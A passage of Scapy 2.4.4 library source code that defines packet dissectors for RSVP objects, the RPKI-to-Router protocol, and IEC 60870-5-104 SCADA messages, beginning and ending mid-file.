"MESSAGE_ID_LIST", 0x1E: "DIAGNOSTIC", 0x1F: "ROUTE", 0x20: "DIAG_RESPONSE", 0x21: "DIAG_SELECT", 0x22: "RECOVERY_LABEL", 0x23: "UPSTREAM_LABEL", 0x24: "LABEL_SET", 0x25: "PROTECTION", 0x26: "PRIMARY PATH ROUTE", 0x2A: "DSBM IP ADDRESS", 0x2B: "SBM_PRIORITY", 0x2C: "DSBM TIMER INTERVALS", 0x2D: "SBM_INFO", 0x32: "S2L_SUB_LSP", 0x3F: "DETOUR", 0x40: "CHALLENGE", 0x41: "DIFF-SERV", 0x42: "CLASSTYPE", 0x43: "LSP_REQUIRED_ATTRIBUTES", 0x80: "NODE_CHAR", 0x81: "SUGGESTED_LABEL", 0x82: "ACCEPTABLE_LABEL_SET", 0x83: "RESTART_CA", 0x84: "SESSION-OF-INTEREST", 0x85: "LINK_CAPABILITY", 0x86: "Capability Object", 0xA1: "RSVP_HOP_L2", 0xA2: "LAN_NHOP_L2", 0xA3: "LAN_NHOP_L3", 0xA4: "LAN_LOOPBACK", 0xA5: "TCLASS", 0xC0: "TUNNEL", 0xC1: "LSP_TUNNEL_INTERFACE_ID", 0xC2: "USER_ERROR_SPEC", 0xC3: "NOTIFY_REQUEST", 0xC4: "ADMIN-STATUS", 0xC5: "LSP_ATTRIBUTES", 0xC6: "ALARM_SPEC", 0xC7: "ASSOCIATION", 0xC8: "SECONDARY_EXPLICIT_ROUTE", 0xC9: "SECONDARY_RECORD_ROUTE", 0xCD: "FAST_REROUTE", 0xCF: "SESSION_ATTRIBUTE", 0xE1: "DCLASS", 0xE2: "PACKETCABLE EXTENSIONS", 0xE3: "ATM_SERVICECLASS", 0xE4: "CALL_OPS (ASON)", 0xE5: "GENERALIZED_UNI", 0xE6: "CALL_ID", 0xE7: "3GPP2_Object", 0xE8: "EXCLUDE_ROUTE" } class RSVP_Object(Packet): name = "RSVP_Object" fields_desc = [ShortField("Length", 4), ByteEnumField("Class", 0x01, rsvptypes), ByteField("C-Type", 1)] def guess_payload_class(self, payload): if self.Class == 0x03: return RSVP_HOP elif self.Class == 0x05: return RSVP_Time elif self.Class == 0x0c: return RSVP_SenderTSPEC elif self.Class == 0x13: return RSVP_LabelReq elif self.Class == 0xCF: return RSVP_SessionAttrb else: return RSVP_Data class RSVP_Data(Packet): name = "Data" overload_fields = {RSVP_Object: {"Class": 0x01}} fields_desc = [StrLenField("Data", "", length_from=lambda pkt:pkt.underlayer.Length - 4)] # noqa: E501 def default_payload_class(self, payload): return RSVP_Object class RSVP_HOP(Packet): name = "HOP" overload_fields = {RSVP_Object: {"Class": 0x03}} fields_desc = [IPField("neighbor", "0.0.0.0"), BitField("inface", 1, 32)] def default_payload_class(self, payload): return RSVP_Object class RSVP_Time(Packet): name = "Time Val" overload_fields = {RSVP_Object: {"Class": 0x05}} fields_desc = [BitField("refresh", 1, 32)] def default_payload_class(self, payload): return RSVP_Object class RSVP_SenderTSPEC(Packet): name = "Sender_TSPEC" overload_fields = {RSVP_Object: {"Class": 0x0c}} fields_desc = [ByteField("Msg_Format", 0), ByteField("reserve", 0), ShortField("Data_Length", 4), ByteField("Srv_hdr", 1), ByteField("reserve2", 0), ShortField("Srv_Length", 4), StrLenField("Tokens", "", length_from=lambda pkt:pkt.underlayer.Length - 12)] # noqa: E501 def default_payload_class(self, payload): return RSVP_Object class RSVP_LabelReq(Packet): name = "Label Req" overload_fields = {RSVP_Object: {"Class": 0x13}} fields_desc = [ShortField("reserve", 1), ShortField("L3PID", 1)] def default_payload_class(self, payload): return RSVP_Object class RSVP_SessionAttrb(Packet): name = "Session_Attribute" overload_fields = {RSVP_Object: {"Class": 0xCF}} fields_desc = [ByteField("Setup_priority", 1), ByteField("Hold_priority", 1), ByteField("flags", 1), FieldLenField("Name_length", None, length_of="Name"), StrLenField("Name", "", length_from=lambda pkt:pkt.Name_length), # noqa: E501 ] def default_payload_class(self, payload): return RSVP_Object bind_layers(IP, RSVP, {"proto": 46}) bind_layers(RSVP, RSVP_Object) scapy-2.4.4/scapy/contrib/rtr.py000077500000000000000000000255501372370053500166170ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2018 Francois Contat # Based on RTR RFC 6810 https://tools.ietf.org/html/rfc6810 for version 0 # Based on RTR RFC 8210 https://tools.ietf.org/html/rfc8210 for version 1 # scapy.contrib.description = The RPKI to Router Protocol # scapy.contrib.status = loads # Start dev import struct from scapy.packet import Packet, bind_layers, Raw from scapy.fields import ByteEnumField, ByteField, IntField, ShortField from scapy.fields import IPField, IP6Field, StrLenField from scapy.fields import FieldLenField from scapy.fields import StrFixedLenField, ShortEnumField from scapy.layers.inet import TCP from scapy.compat import orb STATIC_SERIAL_NOTIFY_LENGTH = 12 STATIC_SERIAL_QUERY_LENGTH = 12 STATIC_RESET_QUERY_LENGTH = 8 STATIC_CACHE_RESET_LENGTH = 8 STATIC_CACHE_RESPONSE_LENGTH = 8 STATIC_IPV4_PREFIX_LENGTH = 20 STATIC_IPV6_PREFIX_LENGTH = 32 STATIC_END_OF_DATA_V0_LENGTH = 12 STATIC_END_OF_DATA_V1_LENGTH = 24 RTR_VERSION = {0: '0', 1: '1'} PDU_TYPE = {0: 'Serial Notify', 1: 'Serial Query', 2: 'Reset Query', 3: 'Cache Response', 4: 'IPv4 Prefix', 6: 'IPv6 Prefix', 7: 'End of Data', 8: 'Cache Reset', 9: 'Router Key', 10: 'Error Report', 255: 'Reserved'} ERROR_LIST = {0: 'Corrupt Data', 1: 'Internal Error', 2: 'No data Available', 3: 'Invalid Request', 4: 'Unsupported Protocol Version', 5: 'Unsupported PDU Type', 6: 'Withdrawal of Unknown Record', 7: 'Duplicate Announcement Received', 8: 'Unexpected Protocol Version'} class RTRSerialNotify(Packet): ''' Serial Notify packet from section 5.2 https://tools.ietf.org/html/rfc6810#section-5.2 ''' name = 'Serial Notify' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 0, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_SERIAL_NOTIFY_LENGTH), IntField('serial_number', 0)] class RTRSerialQuery(Packet): ''' Serial Query packet from section 5.3 https://tools.ietf.org/html/rfc6810#section-5.3 ''' name = 'Serial Query' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 1, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_SERIAL_QUERY_LENGTH), IntField('serial_number', 0)] class RTRResetQuery(Packet): ''' Reset Query packet from section 5.4 https://tools.ietf.org/html/rfc6810#section-5.4 ''' name = 'Reset Query' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 2, PDU_TYPE), ShortField('reserved', 0), IntField('length', STATIC_RESET_QUERY_LENGTH)] class RTRCacheResponse(Packet): ''' Cache Response packet from section 5.5 https://tools.ietf.org/html/rfc6810#section-5.5 ''' name = 'Cache Response' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 3, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_CACHE_RESPONSE_LENGTH)] def guess_payload_class(self, payload): return RTR class RTRIPv4Prefix(Packet): ''' IPv4 Prefix packet from section 5.6 https://tools.ietf.org/html/rfc6810#section-5.6 ''' name = 'IPv4 Prefix' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 4, PDU_TYPE), ShortField('reserved', 0), IntField('length', STATIC_IPV4_PREFIX_LENGTH), ByteField('flags', 0), ByteField('shortest_length', 0), ByteField('longest_length', 0), ByteField('zeros', 0), IPField('prefix', '0.0.0.0'), IntField('asn', 0)] def guess_payload_class(self, payload): return RTR class RTRIPv6Prefix(Packet): ''' IPv6 Prefix packet from section 5.7 https://tools.ietf.org/html/rfc6810#section-5.7 ''' name = 'IPv6 Prefix' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 6, PDU_TYPE), ShortField('reserved', 0), IntField('length', STATIC_IPV6_PREFIX_LENGTH), ByteField('flags', 0), ByteField('shortest_length', 0), ByteField('longest_length', 0), ByteField('zeros', 0), IP6Field("prefix", "::"), IntField('asn', 0)] def guess_payload_class(self, payload): return RTR class RTREndofDatav0(Packet): ''' End of Data packet from version 0 standard section 5.8 https://tools.ietf.org/html/rfc6810#section-5.8 ''' name = 'End of Data - version 0' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 7, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_END_OF_DATA_V0_LENGTH), IntField('serial_number', 0)] class RTREndofDatav1(Packet): ''' End of Data packet from version 1 standard section 5.8 https://tools.ietf.org/html/rfc8210#section-5.8 ''' name = 'End of Data - version 1' fields_desc = [ByteEnumField('rtr_version', 1, RTR_VERSION), ByteEnumField('pdu_type', 7, PDU_TYPE), ShortField('session_id', 0), IntField('length', STATIC_END_OF_DATA_V1_LENGTH), IntField('serial_number', 0), IntField('refresh_interval', 0), IntField('retry_interval', 0), IntField('expire_interval', 0)] class RTRCacheReset(Packet): ''' Cache Reset packet from section 5.9 https://tools.ietf.org/html/rfc6810#section-5.9 ''' name = 'Reset Query' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 8, PDU_TYPE), ShortField('reserved', 0), IntField('length', STATIC_CACHE_RESET_LENGTH)] class RTRRouterKey(Packet): ''' Router Key packet from version 1 standard section 5.10 https://tools.ietf.org/html/rfc8210#section-5.10 ''' name = 'Router Key' fields_desc = [ByteEnumField('rtr_version', 1, RTR_VERSION), ByteEnumField('pdu_type', 9, PDU_TYPE), ByteField('flags', 0), ByteField('zeros', 0), IntField('length', None), StrFixedLenField('subject_key_identifier', '', 20), IntField('asn', 0), StrLenField('subject_PKI', '', length_from=lambda x: x.length - 32)] def post_build(self, pkt, pay): temp_len = len(pkt) + 2 if not self.length: pkt = pkt[:2] + struct.pack('!I', temp_len) + pkt[6:] return pkt + pay class RTRErrorReport(Packet): ''' Error Report packet from section 5.10 https://tools.ietf.org/html/rfc6810#section-5.10 ''' name = 'Error Report' fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), ByteEnumField('pdu_type', 10, PDU_TYPE), ShortEnumField('error_code', 0, ERROR_LIST), IntField('length', None), FieldLenField('length_of_encaps_PDU', None, fmt='!I', length_of='erroneous_PDU'), StrLenField('erroneous_PDU', '', length_from=lambda x: x.length_of_encaps_PDU), FieldLenField('length_of_error_text', None, fmt='!I', length_of='error_text'), StrLenField('error_text', '', length_from=lambda x: x.length_of_error_text)] def post_build(self, pkt, pay): temp_len = len(pkt) + 2 if not self.length: pkt = pkt[:2] + struct.pack('!I', temp_len) + pkt[6:] return pkt + pay PDU_CLASS_VERSION_0 = {0: RTRSerialNotify, 1: RTRSerialQuery, 2: RTRResetQuery, 3: RTRCacheResponse, 4: RTRIPv4Prefix, 6: RTRIPv6Prefix, 7: RTREndofDatav0, 8: RTRCacheReset, 10: RTRErrorReport} PDU_CLASS_VERSION_1 = {0: RTRSerialNotify, 1: RTRSerialQuery, 2: RTRResetQuery, 3: RTRCacheResponse, 4: RTRIPv4Prefix, 6: RTRIPv6Prefix, 7: RTREndofDatav1, 8: RTRCacheReset, 9: RTRRouterKey, 10: RTRErrorReport} class RTR(Packet): ''' Dummy RPKI to Router generic packet for pre-sorting the packet type eg. https://tools.ietf.org/html/rfc6810#section-5.2 ''' name = 'RTR dissector' @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): ''' Attribution of correct type depending on version and pdu_type ''' if _pkt and len(_pkt) >= 2: version = orb(_pkt[0]) pdu_type = orb(_pkt[1]) if version == 0: return PDU_CLASS_VERSION_0[pdu_type] elif version == 1: return PDU_CLASS_VERSION_1[pdu_type] return Raw bind_layers(TCP, RTR, dport=323) # real reserved port bind_layers(TCP, RTR, sport=323) # real reserved port bind_layers(TCP, RTR, dport=8282) # RIPE implementation default port bind_layers(TCP, RTR, sport=8282) # RIPE implementation default port bind_layers(TCP, RTR, dport=2222) # gortr implementation default port bind_layers(TCP, RTR, sport=2222) # gortr implementation default port if __name__ == '__main__': from scapy.main import interact interact(mydict=globals(), mybanner='RPKI to Router') scapy-2.4.4/scapy/contrib/scada/000077500000000000000000000000001372370053500164775ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/scada/__init__.py000066400000000000000000000006041372370053500206100ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Thomas Tannhaeuser # This program is published under a GPLv2 license # # scapy.contrib.status = skip # Package of contrib SCADA modules. """contains packages related to SCADA protocol layers.""" from scapy.contrib.scada.iec104 import * # noqa F403,F401 scapy-2.4.4/scapy/contrib/scada/iec104/000077500000000000000000000000001372370053500174645ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/scada/iec104/__init__.py000066400000000000000000000506001372370053500215760ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Thomas Tannhaeuser # This program is published under a GPLv2 license # # scapy.contrib.description = IEC-60870-5-104 APCI / APDU layer definitions # scapy.contrib.status = loads """ IEC 60870-5-104 ~~~~~~~~~~~~~~~ :description: This module provides the IEC 60870-5-104 (common short name: iec104) layer, the information objects and related information element definitions. normative references: - IEC 60870-5-4:1994 (atomic base types / data format) - IEC 60870-5-101:2003 (information elements (sec. 7.2.6) and ASDU definition (sec. 7.3)) - IEC 60870-5-104:2006 (information element TSC (sec. 8.8, p. 44)) :TODO: - add allowed direction to IO attributes (but this could be derived from the name easily <--> ) - information elements / objects need more testing (e.g. on live traffic w comparison against tshark) :NOTES: - bit and octet numbering is used as in the related standards (they usually start with index one instead of zero) - some of the information objects are only valid for IEC 60870-5-101 - so usually they should never appear on the network as iec101 uses serial connections. I added them if decoding of those messages is needed cause one goes to implement a iec101<-->iec104 gateway or hits such a gateway that acts not standard conform (e.g. by forwarding 101 messages to a 104 network) """ from scapy.contrib.scada.iec104.iec104_fields import * # noqa F403,F401 from scapy.contrib.scada.iec104.iec104_information_elements import * # noqa F403,F401 from scapy.contrib.scada.iec104.iec104_information_objects import * # noqa F403,F401 from scapy.compat import orb from scapy.config import conf from scapy.error import warning, Scapy_Exception from scapy.fields import ByteField, BitField, ByteEnumField, PacketListField, \ BitEnumField, XByteField, FieldLenField, LEShortField, BitFieldLenField from scapy.layers.inet import TCP from scapy.packet import Raw, Packet, bind_layers IEC_104_IANA_PORT = 2404 # direction - from the central station to the substation IEC104_CONTROL_DIRECTION = 0 IEC104_CENTRAL_2_SUB_DIR = IEC104_CONTROL_DIRECTION # direction - from the substation to the central station IEC104_MONITOR_DIRECTION = 1 IEC104_SUB_2_CENTRAL_DIR = IEC104_MONITOR_DIRECTION IEC104_DIRECTIONS = { IEC104_MONITOR_DIRECTION: 'monitor direction (sub -> central)', IEC104_CONTROL_DIRECTION: 'control direction (central -> sub)', } # COT - cause of transmission IEC104_COT_UNDEFINED = 0 IEC104_COT_CYC = 1 IEC104_COT_BACK = 2 IEC104_COT_SPONT = 3 IEC104_COT_INIT = 4 IEC104_COT_REQ = 5 IEC104_COT_ACT = 6 IEC104_COT_ACTCON = 7 IEC104_COT_DEACT = 8 IEC104_COT_DEACTCON = 9 IEC104_COT_ACTTERM = 10 IEC104_COT_RETREM = 11 IEC104_COT_RETLOC = 12 IEC104_COT_FILE = 13 IEC104_COT_RESERVED_14 = 14 IEC104_COT_RESERVED_15 = 15 IEC104_COT_RESERVED_16 = 16 IEC104_COT_RESERVED_17 = 17 IEC104_COT_RESERVED_18 = 18 IEC104_COT_RESERVED_19 = 19 IEC104_COT_INROGEN = 20 IEC104_COT_INRO1 = 21 IEC104_COT_INRO2 = 22 IEC104_COT_INRO3 = 23 IEC104_COT_INRO4 = 24 IEC104_COT_INRO5 = 25 IEC104_COT_INRO6 = 26 IEC104_COT_INRO7 = 27 IEC104_COT_INRO8 = 28 IEC104_COT_INRO9 = 29 IEC104_COT_INRO10 = 30 IEC104_COT_INRO11 = 31 IEC104_COT_INRO12 = 32 IEC104_COT_INRO13 = 33 IEC104_COT_INRO14 = 34 IEC104_COT_INRO15 = 35 IEC104_COT_INRO16 = 36 IEC104_COT_REQCOGEN = 37 IEC104_COT_REQCO1 = 38 IEC104_COT_REQCO2 = 39 IEC104_COT_REQCO3 = 40 IEC104_COT_REQCO4 = 41 IEC104_COT_RESERVED_42 = 42 IEC104_COT_RESERVED_43 = 43 IEC104_COT_UNKNOWN_TYPE_CODE = 44 IEC104_COT_UNKNOWN_TRANSMIT_REASON = 45 IEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU = 46 IEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT = 47 IEC104_COT_PRIVATE_48 = 48 IEC104_COT_PRIVATE_49 = 49 IEC104_COT_PRIVATE_50 = 50 IEC104_COT_PRIVATE_51 = 51 IEC104_COT_PRIVATE_52 = 52 IEC104_COT_PRIVATE_53 = 53 IEC104_COT_PRIVATE_54 = 54 IEC104_COT_PRIVATE_55 = 55 IEC104_COT_PRIVATE_56 = 56 IEC104_COT_PRIVATE_57 = 57 IEC104_COT_PRIVATE_58 = 58 IEC104_COT_PRIVATE_59 = 59 IEC104_COT_PRIVATE_60 = 60 IEC104_COT_PRIVATE_61 = 61 IEC104_COT_PRIVATE_62 = 62 IEC104_COT_PRIVATE_63 = 63 CAUSE_OF_TRANSMISSIONS = { IEC104_COT_UNDEFINED: 'undefined', IEC104_COT_CYC: 'cyclic (per/cyc)', IEC104_COT_BACK: 'background (back)', IEC104_COT_SPONT: 'spontaneous (spont)', IEC104_COT_INIT: 'initialized (init)', IEC104_COT_REQ: 'request (req)', IEC104_COT_ACT: 'activation (act)', IEC104_COT_ACTCON: 'activation confirmed (actcon)', IEC104_COT_DEACT: 'activation canceled (deact)', IEC104_COT_DEACTCON: 'activation cancellation confirmed (deactcon)', IEC104_COT_ACTTERM: 'activation finished (actterm)', IEC104_COT_RETREM: 'feedback caused by remote command (retrem)', IEC104_COT_RETLOC: 'feedback caused by local command (retloc)', IEC104_COT_FILE: 'file transfer (file)', IEC104_COT_RESERVED_14: 'reserved_14', IEC104_COT_RESERVED_15: 'reserved_15', IEC104_COT_RESERVED_16: 'reserved_16', IEC104_COT_RESERVED_17: 'reserved_17', IEC104_COT_RESERVED_18: 'reserved_18', IEC104_COT_RESERVED_19: 'reserved_19', IEC104_COT_INROGEN: 'queried by station (inrogen)', IEC104_COT_INRO1: 'queried by query to group 1 (inro1)', IEC104_COT_INRO2: 'queried by query to group 2 (inro2)', IEC104_COT_INRO3: 'queried by query to group 3 (inro3)', IEC104_COT_INRO4: 'queried by query to group 4 (inro4)', IEC104_COT_INRO5: 'queried by query to group 5 (inro5)', IEC104_COT_INRO6: 'queried by query to group 6 (inro6)', IEC104_COT_INRO7: 'queried by query to group 7 (inro7)', IEC104_COT_INRO8: 'queried by query to group 8 (inro8)', IEC104_COT_INRO9: 'queried by query to group 9 (inro9)', IEC104_COT_INRO10: 'queried by query to group 10 (inro10)', IEC104_COT_INRO11: 'queried by query to group 11 (inro11)', IEC104_COT_INRO12: 'queried by query to group 12 (inro12)', IEC104_COT_INRO13: 'queried by query to group 13 (inro13)', IEC104_COT_INRO14: 'queried by query to group 14 (inro14)', IEC104_COT_INRO15: 'queried by query to group 15 (inro15)', IEC104_COT_INRO16: 'queried by query to group 16 (inro16)', IEC104_COT_REQCOGEN: 'queried by counter general interrogation (reqcogen)', IEC104_COT_REQCO1: 'queried by query to counter group 1 (reqco1)', IEC104_COT_REQCO2: 'queried by query to counter group 2 (reqco2)', IEC104_COT_REQCO3: 'queried by query to counter group 3 (reqco3)', IEC104_COT_REQCO4: 'queried by query to counter group 4 (reqco4)', IEC104_COT_RESERVED_42: 'reserved_42', IEC104_COT_RESERVED_43: 'reserved_43', IEC104_COT_UNKNOWN_TYPE_CODE: 'unknown type code', IEC104_COT_UNKNOWN_TRANSMIT_REASON: 'unknown transmit reason', IEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU: 'unknown common address of ASDU', IEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT: 'unknown address of information object', IEC104_COT_PRIVATE_48: 'private_48', IEC104_COT_PRIVATE_49: 'private_49', IEC104_COT_PRIVATE_50: 'private_50', IEC104_COT_PRIVATE_51: 'private_51', IEC104_COT_PRIVATE_52: 'private_52', IEC104_COT_PRIVATE_53: 'private_53', IEC104_COT_PRIVATE_54: 'private_54', IEC104_COT_PRIVATE_55: 'private_55', IEC104_COT_PRIVATE_56: 'private_56', IEC104_COT_PRIVATE_57: 'private_57', IEC104_COT_PRIVATE_58: 'private_58', IEC104_COT_PRIVATE_59: 'private_59', IEC104_COT_PRIVATE_60: 'private_60', IEC104_COT_PRIVATE_61: 'private_61', IEC104_COT_PRIVATE_62: 'private_62', IEC104_COT_PRIVATE_63: 'private_63' } IEC104_APDU_TYPE_UNKNOWN = 0x00 IEC104_APDU_TYPE_I_SEQ_IOA = 0x01 IEC104_APDU_TYPE_I_SINGLE_IOA = 0x02 IEC104_APDU_TYPE_U = 0x03 IEC104_APDU_TYPE_S = 0x04 def _iec104_apci_type_from_packet(data): """ the type of the message is encoded in octet 1..4 oct 1, bit 1 2 oct 3, bit 1 I Message 0 1|0 0 S Message 1 0 0 U Message 1 1 0 see EN 60870-5-104:2006, sec. 5 (p. 13, fig. 6,7,8) """ oct_1 = orb(data[2]) oct_3 = orb(data[4]) oct_1_bit_1 = bool(oct_1 & 1) oct_1_bit_2 = bool(oct_1 & 2) oct_3_bit_1 = bool(oct_3 & 1) if oct_1_bit_1 is False and oct_3_bit_1 is False: if len(data) < 8: return IEC104_APDU_TYPE_UNKNOWN is_seq_ioa = ((orb(data[7]) & 0x80) == 0x80) if is_seq_ioa: return IEC104_APDU_TYPE_I_SEQ_IOA else: return IEC104_APDU_TYPE_I_SINGLE_IOA if oct_1_bit_1 and oct_1_bit_2 is False and oct_3_bit_1 is False: return IEC104_APDU_TYPE_S if oct_1_bit_1 and oct_1_bit_2 and oct_3_bit_1 is False: return IEC104_APDU_TYPE_U return IEC104_APDU_TYPE_UNKNOWN class IEC104_APDU(Packet): """ basic Application Protocol Data Unit definition used by S/U/I messages """ def guess_payload_class(self, payload): payload_len = len(payload) if payload_len < 6: return self.default_payload_class(payload) if orb(payload[0]) != 0x68: self.default_payload_class(payload) # the length field contains the number of bytes starting from the # first control octet apdu_length = 2 + orb(payload[1]) if payload_len < apdu_length: warning( 'invalid len of APDU. given len: {} available len: {}'.format( apdu_length, payload_len)) return self.default_payload_class(payload) apdu_type = _iec104_apci_type_from_packet(payload) return IEC104_APDU_CLASSES.get(apdu_type, self.default_payload_class(payload)) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ detect type of the message by checking packet data :param _pkt: raw bytes of the packet layer data to be checked :param args: unused :param kargs: unused :return: class of the detected message type """ if _iec104_is_i_apdu_seq_ioa(_pkt): return IEC104_I_Message_SeqIOA if _iec104_is_i_apdu_single_ioa(_pkt): return IEC104_I_Message_SingleIOA if _iec104_is_u_apdu(_pkt): return IEC104_U_Message if _iec104_is_s_apdu(_pkt): return IEC104_S_Message return Raw class IEC104_S_Message(IEC104_APDU): """ message used for ack of received I-messages """ name = 'IEC-104 S APDU' fields_desc = [ XByteField('start', 0x68), ByteField("apdu_length", 4), ByteField('octet_1', 0x01), ByteField('octet_2', 0), IEC104SequenceNumber('rx_seq_num', 0), ] class IEC104_U_Message(IEC104_APDU): """ message used for connection tx control (start/stop) and monitoring (test) """ name = 'IEC-104 U APDU' fields_desc = [ XByteField('start', 0x68), ByteField("apdu_length", 4), BitField('testfr_con', 0, 1), BitField('testfr_act', 0, 1), BitField('stopdt_con', 0, 1), BitField('stopdt_act', 0, 1), BitField('startdt_con', 0, 1), BitField('startdt_act', 0, 1), BitField('octet_1_1_2', 3, 2), ByteField('octet_2', 0), ByteField('octet_3', 0), ByteField('octet_4', 0) ] def _i_msg_io_dispatcher_sequence(pkt, next_layer_data): """ get the type id and return the matching ASDU instance """ next_layer_class_type = IEC104_IO_CLASSES.get(pkt.type_id, conf.raw_layer) return next_layer_class_type(next_layer_data) def _i_msg_io_dispatcher_single(pkt, next_layer_data): """ get the type id and return the matching ASDU instance (information object address + regular ASDU information object fields) """ next_layer_class_type = IEC104_IO_WITH_IOA_CLASSES.get(pkt.type_id, conf.raw_layer) return next_layer_class_type(next_layer_data) class IEC104ASDUPacketListField(PacketListField): """ used to add a list of information objects to an I-message """ def m2i(self, pkt, m): """ add calling layer instance to the cls()-signature :param pkt: calling layer instance :param m: raw data forming the next layer :return: instance of the class representing the next layer """ return self.cls(pkt, m) class IEC104_I_Message_StructureException(Scapy_Exception): """ Exception raised if payload is not of type Information Object """ pass class IEC104_I_Message(IEC104_APDU): """ message used for transmitting data (APDU - Application Protocol Data Unit) APDU: MAGIC + APCI + ASDU MAGIC: 0x68 APCI : Control Information (rx/tx seq/ack numbers) ASDU : Application Service Data Unit - information object related data see EN 60870-5-104:2006, sec. 5 (p. 12) """ name = 'IEC-104 I APDU' IEC_104_MAGIC = 0x68 # dec -> 104 SQ_FLAG_SINGLE = 0 SQ_FLAG_SEQUENCE = 1 SQ_FLAGS = { SQ_FLAG_SINGLE: 'single', SQ_FLAG_SEQUENCE: 'sequence' } TEST_DISABLED = 0 TEST_ENABLED = 1 TEST_FLAGS = { TEST_DISABLED: 'disabled', TEST_ENABLED: 'enabled' } ACK_POSITIVE = 0 ACK_NEGATIVE = 1 ACK_FLAGS = { ACK_POSITIVE: 'positive', ACK_NEGATIVE: 'negative' } fields_desc = [] def __init__(self, _pkt=b"", post_transform=None, _internal=0, _underlayer=None, **fields): super(IEC104_I_Message, self).__init__(_pkt=_pkt, post_transform=post_transform, _internal=_internal, _underlayer=_underlayer, **fields) if 'io' in fields and fields['io']: self._information_object_update(fields['io']) def _information_object_update(self, io_instances): """ set the type_id in the ASDU header based on the given information object (io) and check for valid structure :param io_instances: information object """ if not isinstance(io_instances, list): io_instances = [io_instances] first_io = io_instances[0] first_io_class = first_io.__class__ if not issubclass(first_io_class, IEC104_IO_Packet): raise IEC104_I_Message_StructureException( 'information object payload must be a subclass of ' 'IEC104_IO_Packet') self.type_id = first_io.iec104_io_type_id() # ensure all io elements within the ASDU share the same class type for io_inst in io_instances[1:]: if io_inst.__class__ != first_io_class: raise IEC104_I_Message_StructureException( 'each information object within the ASDU must be of ' 'the same class type (first io: {}, ' 'current io: {})'.format(first_io_class._name, io_inst._name)) class IEC104_I_Message_SeqIOA(IEC104_I_Message): """ all information objects share a base information object address field sq = 1, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33) """ name = 'IEC-104 I APDU (Seq IOA)' fields_desc = [ # APCI XByteField('start', IEC104_I_Message.IEC_104_MAGIC), FieldLenField("apdu_length", None, fmt="!B", length_of='io', adjust=lambda pkt, x: x + 13), IEC104SequenceNumber('tx_seq_num', 0), IEC104SequenceNumber('rx_seq_num', 0), # ASDU ByteEnumField('type_id', 0, IEC104_IO_NAMES), BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SEQUENCE, 1, IEC104_I_Message.SQ_FLAGS), BitFieldLenField('num_io', None, 7, count_of='io'), BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS), BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS), BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS), ByteField('origin_address', 0), LEShortField('common_asdu_address', 0), LEThreeBytesField('information_object_address', 0), IEC104ASDUPacketListField('io', conf.raw_layer(), _i_msg_io_dispatcher_sequence, length_from=lambda pkt: pkt.apdu_length - 13) ] def post_dissect(self, s): if self.type_id == IEC104_IO_ID_C_RD_NA_1: # IEC104_IO_ID_C_RD_NA_1 has no payload. we will add the layer # manually to the stack right now. we do this num_io times # as - even if it makes no sense - someone could decide # to add more than one read commands in a sequence... setattr(self, 'io', [IEC104_IO_C_RD_NA_1()] * self.num_io) return s class IEC104_I_Message_SingleIOA(IEC104_I_Message): """ every information object contains an individual information object address field sq = 0, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33) """ name = 'IEC-104 I APDU (single IOA)' fields_desc = [ # APCI XByteField('start', IEC104_I_Message.IEC_104_MAGIC), FieldLenField("apdu_length", None, fmt="!B", length_of='io', adjust=lambda pkt, x: x + 10), IEC104SequenceNumber('tx_seq_num', 0), IEC104SequenceNumber('rx_seq_num', 0), # ASDU ByteEnumField('type_id', 0, IEC104_IO_NAMES), BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SINGLE, 1, IEC104_I_Message.SQ_FLAGS), BitFieldLenField('num_io', None, 7, count_of='io'), BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS), BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS), BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS), ByteField('origin_address', 0), LEShortField('common_asdu_address', 0), IEC104ASDUPacketListField('io', conf.raw_layer(), _i_msg_io_dispatcher_single, length_from=lambda pkt: pkt.apdu_length - 10) ] IEC104_APDU_CLASSES = { IEC104_APDU_TYPE_UNKNOWN: conf.raw_layer, IEC104_APDU_TYPE_I_SEQ_IOA: 